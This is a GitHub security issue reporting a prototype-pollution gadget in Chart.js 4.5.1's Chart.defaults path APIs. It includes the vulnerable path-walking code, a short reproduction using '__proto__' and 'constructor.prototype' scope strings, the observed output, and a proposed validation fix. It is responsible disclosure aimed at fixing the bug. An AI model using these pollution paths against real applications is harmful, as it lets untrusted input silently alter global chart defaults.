chartjs / chartjs/Chart.js

Security: Prototype pollution gadget in Chart.defaults path APIs

Open
#12,265 2 comments 0 reactions 0 assignees View on GitHub
Dominant language
JavaScript
Stars
67.7k
Forks
11.9k
Avg merge
7h 39m
Merged PRs (30d)
5

Description

### Summary

`Chart.defaults` exposes path-based APIs that walk caller-controlled scope strings before key validation is applied. This allows prototype pollution of Chart.js' `Defaults.prototype` via paths such as `__proto__` and `constructor.prototype`.

This does **not** appear to pollute global `Object.prototype`; the pollution is scoped to the `Defaults` prototype used by `Chart.defaults`. It can still alter inherited global defaults for Chart.js in the current JS realm if untrusted input can reach these APIs.

Affected APIs observed:

- `Chart.defaults.set(scope, values)`
- `Chart.defaults.get(scope)` when the returned object is mutated by the caller
- `Chart.defaults.describe(scope, values)` / `Chart.defaults.override(scope, values)` for their internal default descriptor/override roots
- `Chart.defaults.route(scope, name, targetScope, targetName)`

### Affected version

Tested on `chart.js@4.5.1`, currently the latest npm release.

### Root cause

The path walker in `src/core/core.defaults.js` does not reject dangerous path segments:

```js
function getScope(node, key) {
if (!key) {
return node;
}
const keys = key.split('.');
for (let i = 0, n = keys.length; i < n; ++i) {
const k = keys[i];
node = node[k] || (node[k] = Object.create(null));
}
return node;
}

function set(root, scope, values) {
if (typeof scope === 'string') {
return merge(getScope(root, scope), values);
}
return merge(getScope(root, ''), scope);
}
```

`merge()` later rejects dangerous keys such as `__proto__`, `prototype`, and `constructor`, but the dangerous path segment is already dereferenced by `getScope()` before `merge()` runs.

### Reproduction

```js
const {Chart} = require('chart.js');

for (const k of ['xPolluted', 'evilColor', 'routePolluted', '_routePolluted']) {
delete Chart.defaults.constructor.prototype[k];
}

console.log(Chart.version); // 4.5.1
console.log(Chart.defaults.xPolluted); // undefined

Chart.defaults.set('__proto__', {xPolluted: 'via __proto__ path'});

console.log(Chart.defaults.xPolluted); // via __proto__ path
console.log(Object.prototype.hasOwnProperty.call(Chart.defaults, 'xPolluted')); // false
console.log(Chart.defaults.constructor.prototype.xPolluted); // via __proto__ path

Chart.defaults.set('constructor.prototype', {evilColor: '#bad'});
console.log(Chart.defaults.evilColor); // #bad

Chart.defaults.route('__proto__', 'routePolluted', '', 'color');
console.log(Chart.defaults.routePolluted); // #666, inherited getter on Defaults.prototype
console.log(typeof Object.getOwnPropertyDescriptor(
Chart.defaults.constructor.prototype,
'routePolluted'
)?.get === 'function'); // true
```

Observed output from a local run against `chart.js@4.5.1`:

```text
version: 4.5.1
before: undefined
after-set-proto: via __proto__ path
own-defaults: false
prototype-value: via __proto__ path
after-set-constructor-prototype: #bad
route-value: #666
route-is-prototype-getter: true
```

### Impact

This is a prototype-pollution gadget on `Defaults.prototype`, not a demonstrated `Object.prototype` pollution issue.

Practical exploitability depends on whether an application allows untrusted configuration, themes, dashboards, plugins, or remote JSON to control `Chart.defaults` path strings. If the API is only called with hardcoded trusted paths, impact is limited.

If untrusted input can reach these calls, an attacker can add inherited properties or route getters to `Chart.defaults`, changing global Chart.js default resolution for charts in the same page/process.

### Suggested fix

Validate every dotted path segment before walking it. At minimum, reject `__proto__`, `prototype`, and `constructor` in all path-based defaults APIs.

Example direction:

```js
function isValidScopePath(key) {
return !key.split('.').some((part) => (
part === '__proto__' || part === 'prototype' || part === 'constructor'
));
}

function getScope(node, key) {
if (!key) {
return node;
}
if (!isValidScopePath(key)) {
throw new Error(`Invalid defaults scope: ${key}`);
}
const keys = key.split('.');
for (let i = 0, n = keys.length; i < n; ++i) {
const k = keys[i];
node = node[k] || (node[k] = Object.create(null));
}
return node;
}
```

`route(scope, name, targetScope, targetName)` should validate both `scope` and `targetScope`; it would also be safer to reject dangerous `name` and `targetName` values.

### Notes

I did not find evidence that normal chart labels/data reach this path API directly. This report is specifically about the `Chart.defaults` dotted-path API surface.

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.